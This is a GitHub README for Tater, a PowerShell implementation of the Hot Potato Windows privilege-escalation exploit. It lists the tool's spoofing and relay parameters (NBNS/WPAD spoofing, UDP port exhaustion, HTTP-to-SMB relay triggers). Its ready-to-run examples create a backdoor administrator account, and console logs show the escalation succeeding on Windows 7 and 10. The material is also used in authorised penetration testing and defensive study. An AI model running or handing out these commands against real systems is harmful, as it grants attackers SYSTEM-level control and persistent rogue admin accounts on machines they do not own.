

# Tater

 [github.com/Kevin-Robertson/Tater](https://github.com/Kevin-Robertson/Tater)

Kevin-Robertson

## Kevin-Robertson/ Tater



Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec

 1 Contributor     2 Issues     416 Stars     130 Forks



---

Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit.

### Credit

All credit goes to @breenmachine, @foxglovesec, Google Project Zero, and anyone else that helped work out the details for this exploit.

Potato - <https://github.com/foxglovesec/Potato>

### Included In

- p0wnedShell - <https://github.com/Cn33liz/p0wnedShell>
- PowerShell Empire - <https://github.com/PowerShellEmpire/Empire>
- PS>Attack - <https://github.com/jaredhaight/psattack>

### Functions

#### Invoke-Tater

The main Tater function.

Parameters

- **IP** - Specify a specific local IP address. An IP address will be selected automatically if this parameter is not used.
- **SpoofIP** - Specify an IP address for NBNS spoofing. This is needed when using two hosts to get around an in-use port 80 on the privesc target.
- **Command** - Command to execute as SYSTEM on the localhost. Use PowerShell character escapes where necessary.
- **NBNS** - Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofing.
- **NBNSLimit** - Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly.
- **ExhaustUDP** - Default = Disabled: (Y/N) Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution.
- **HTTPPort** - Default = 80: Specify a TCP port for the HTTP listener and redirect response.
- **Hostname** - Default = WPAD: Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.
- **WPADDirectHosts** - Comma separated list of hosts to list as direct in the wpad.dat file. Note that localhost is always listed as direct.
- **WPADPort** - Default = 80: Specify a proxy server port to be included in the wpad.dat file.
- **Trigger** - Default = 1: Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task
- **TaskDelete** - Default = Enabled: (Y/N) Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.
- **Taskname** - Default = Tater: Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.
- **RunTime** - Default = Unlimited: (Integer) Set the run time duration in minutes.
- **ConsoleOutput** - Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
- **StatusOutput** - Default = Enabled: (Y/N) Enable/Disable startup messages.
- **ShowHelp** - Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
- **Tool** - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire

## Stop-Tater

---

Function to manually stop Invoke-Tater.

## Usage

---

- To import with Import-Module:  
Import-Module ./Tater.ps1
- To import using dot source method:  
. ./Tater.ps1

## Examples

---

- Basic trigger 1 example  
Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
- Basic trigger 2 example  
Invoke-Tater -Trigger 2 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
- Two system setup to get around port 80 being in-use on the privesc target  
**WPAD System** - 192.168.10.100 - this system will just serve up a wpad.dat file that will direct HTTP traffic on the privesc target to the non-80 HTTP port  
Invoke-Tater -Trigger 0 -NBNS N -WPADPort 8080 -Command "null"  
  
**Privesc Target** - 192.168.10.101  
Invoke-Tater -Command "net user Tater Winter2016 /add && net localgroup administrators Tater /add" -HTTPPort 8080 -SpoofIP 192.168.10.100

## Screenshots

---

# Windows 7 using trigger 1 (NBNS WPAD Bruteforce + Windows Defender Signature Updates)

```
Windows PowerShell
PS C:\Users\user\Desktop> net localgroup administrators
Alias name     administrators
Comment       Administrators have complete and unrestricted access to the computer/domain

Members

-----
Administrator
kevin
The command completed successfully.

PS C:\Users\user\Desktop> . .\Tater.ps1
PS C:\Users\user\Desktop> Invoke-Tater -Command "net localgroup administrators user /add"
2016-01-31T22:09:19 - Tater (Hot Potato Privilege Escalation) started
Local IP Address = 10.10.2.100
Spoofing Hostname = WPAD
Windows Defender Trigger Enabled
Real Time Console Output Enabled
Run Stop-Tater to stop Tater early
Use Get-Command -Noun Tater* to show available functions
Press any key to stop real time console output

2016-01-31T22:09:19 - Waiting for incoming HTTP connection
2016-01-31T22:09:19 - Flushing DNS resolver cache
2016-01-31T22:09:19 - Starting NBNS spoofer to resolve WPAD to 127.0.0.1
2016-01-31T22:09:20 - WPAD has been spoofed to 127.0.0.1
2016-01-31T22:09:20 - Starting Windows Defender signature update
2016-01-31T22:09:22 - HTTP request for /wpad.dat received from 127.0.0.1
2016-01-31T22:09:27 - Attempting to redirect to http://localhost/gethashes and trigger relay
2016-01-31T22:09:27 - HTTP request for http://ds.download.windowsupdate.com/v11/2/windowsupdate/redir/v6-win7sp1-wuredi
r.cab?1602010309 received from 127.0.0.1
2016-01-31T22:09:31 - HTTP request for /GETHASHES received from 127.0.0.1
2016-01-31T22:09:32 - HTTP to SMB relay triggered by 127.0.0.1
2016-01-31T22:09:32 - Grabbing challenge for relay from 127.0.0.1
2016-01-31T22:09:32 - Received challenge F320CFDBE9C07C49 for relay from 127.0.0.1
2016-01-31T22:09:32 - Providing challenge F320CFDBE9C07C49 for relay to 127.0.0.1
2016-01-31T22:09:33 - Sending response for \ for relay to 127.0.0.1
2016-01-31T22:09:33 - HTTP to SMB relay authentication successful for \ on 127.0.0.1
2016-01-31T22:09:33 - SMB relay service UGYPGPLRFWSIHHTKCAKQ created on 127.0.0.1
2016-01-31T22:09:33 - SMB relay command likely executed on 127.0.0.1
2016-01-31T22:09:33 - SMB relay disabled due to success
2016-01-31T22:09:33 - SMB relay service UGYPGPLRFWSIHHTKCAKQ deleted on 127.0.0.1
2016-01-31T22:09:34 - Attempting to stop HTTP listener
2016-01-31T22:09:37 - Tater was successful and has exited
PS C:\Users\user\Desktop> net localgroup administrators
Alias name     administrators
Comment       Administrators have complete and unrestricted access to the computer/domain

Members

-----
Administrator
kevin
user
The command completed successfully.
```

## Windows 10 using trigger 2 (WebClient Service + Scheduled Task)

```
Windows PowerShell
PS C:\WINDOWS\system32> Set-ExecutionPolicy Unrestricted -Scope CurrentUser

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
http://go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y
PS C:\WINDOWS\system32> cd\
PS C:\> cd .\Users\test\Desktop\
PS C:\Users\test\Desktop> . .\Tater.ps1
PS C:\Users\test\Desktop> net localgroup administrators
Alias name      administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members
-----
Administrator
kevin
The command completed successfully.

PS C:\Users\test\Desktop> Invoke-Tater -Command "net localgroup administrators test /add" -trigger 2
2016-01-31T19:27:13 - Tater (Hot Potato Privilege Escalation) started
Local IP Address = 192.168.102.114
NBNS BruteForce Spoofing Disabled
Scheduled Task Trigger Enabled
Scheduled Task = omg
Real Time Console Output Enabled
Run Stop-Tater to stop Tater early
Use Get-Command -Noun Tater* to show available functions
Press any key to stop real time console output

2016-01-31T19:27:13 - Waiting for incoming HTTP connection
2016-01-31T19:27:13 - Starting WebClient service
2016-01-31T19:27:39 - Adding scheduled task omg
2016-01-31T19:27:39 - Attempting to redirect to http://localhost/gethashes and trigger relay
2016-01-31T19:27:39 - HTTP request for /test received from 127.0.0.1
2016-01-31T19:27:43 - HTTP request for /GETHASHES received from 127.0.0.1
2016-01-31T19:27:44 - HTTP to SMB relay triggered by 127.0.0.1
2016-01-31T19:27:44 - Grabbing challenge for relay from 127.0.0.1
2016-01-31T19:27:45 - Received challenge D13E30A11DD0EB6E for relay from 127.0.0.1
2016-01-31T19:27:45 - Providing challenge D13E30A11DD0EB6E for relay to 127.0.0.1
2016-01-31T19:27:46 - Sending response for \ for relay to 127.0.0.1
2016-01-31T19:27:46 - HTTP to SMB relay authentication successful for \ on 127.0.0.1
2016-01-31T19:27:46 - SMB relay service TJEGTQXTSEDRBIIHCTOCD created on 127.0.0.1
2016-01-31T19:27:46 - SMB relay command likely executed on 127.0.0.1
2016-01-31T19:27:46 - SMB relay disabled due to success
2016-01-31T19:27:46 - SMB relay service TJEGTQXTSEDRBIIHCTOCD deleted on 127.0.0.1
2016-01-31T19:27:47 - Attempting to stop HTTP listener
2016-01-31T19:27:50 - Tater was successful and has exited
PS C:\Users\test\Desktop> net localgroup administrators
Alias name      administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members
-----
Administrator
kevin
test
The command completed successfully.
```

## Windows 7 using trigger 1 and UDP port exhaustion

```
Windows PowerShell
PS C:\Users\Kevin\Desktop> Invoke-Tater -Command "net user tater Winter2016 /add && net localgroup administrators tater
/add" -exhaustudp y
2016-01-31T22:37:07 - Tater (Hot Potato Privilege Escalation) started
Local IP Address = 10.10.2.103
Spoofing Hostname = WPAD
UDP Port Exhaustion Enabled
Windows Defender Trigger Enabled
Real Time Console Output Enabled
Run Stop-Tater to stop Tater early
Use Get-Command -Noun Tater* to show available functions
Press any key to stop real time console output

2016-01-31T22:37:07 - Waiting for incoming HTTP connection
2016-01-31T22:37:07 - Trying to exhaust UDP source ports so DNS lookups will fail
2016-01-31T22:37:07 - Couldn't bind to UDP port 123
2016-01-31T22:37:07 - Couldn't bind to UDP port 500
2016-01-31T22:37:08 - Couldn't bind to UDP port 3702
2016-01-31T22:37:08 - Couldn't bind to UDP port 4500
2016-01-31T22:37:20 - Couldn't bind to UDP port 58671
2016-01-31T22:37:20 - Couldn't bind to UDP port 58695
2016-01-31T22:37:22 - Flushing DNS resolver cache
2016-01-31T22:37:24 - DNS lookup failed so UDP exhaustion worked
2016-01-31T22:37:26 - Flushing DNS resolver cache
2016-01-31T22:37:26 - Starting NBNS spoofer to resolve WPAD to 127.0.0.1
2016-01-31T22:37:27 - WPAD has been spoofed to 127.0.0.1
2016-01-31T22:37:27 - Starting Windows Defender signature update
2016-01-31T22:37:32 - HTTP request for /wpad.dat received from 127.0.0.1
2016-01-31T22:37:36 - Attempting to redirect to http://localhost/gethashes and trigger relay
2016-01-31T22:37:36 - HTTP request for http://ds.download.windowsupdate.com/v11/2/windowsupdate/redir/v6-win?sp1-wuredi
r.cab?1602010337 received from 127.0.0.1
2016-01-31T22:37:40 - HTTP request for /GETHASHES received from 127.0.0.1
2016-01-31T22:37:41 - HTTP to SMB relay triggered by 127.0.0.1
2016-01-31T22:37:41 - Grabbing challenge for relay from 127.0.0.1
2016-01-31T22:37:41 - Received challenge F1C74EC7D9A710FA for relay from 127.0.0.1
2016-01-31T22:37:41 - Providing challenge F1C74EC7D9A710FA for relay to 127.0.0.1
2016-01-31T22:37:42 - Sending response for \ for relay to 127.0.0.1
2016-01-31T22:37:42 - HTTP to SMB relay authentication successful for \ on 127.0.0.1
2016-01-31T22:37:42 - SMB relay service IPCBNHPFOX$SUNEYSBFFS created on 127.0.0.1
2016-01-31T22:37:43 - SMB relay command likely executed on 127.0.0.1
2016-01-31T22:37:43 - SMB relay disabled due to success
2016-01-31T22:37:43 - SMB relay service IPCBNHPFOX$SUNEYSBFFS deleted on 127.0.0.1
2016-01-31T22:37:44 - Attempting to stop HTTP listener
2016-01-31T22:37:47 - Tater was successful and has exited
```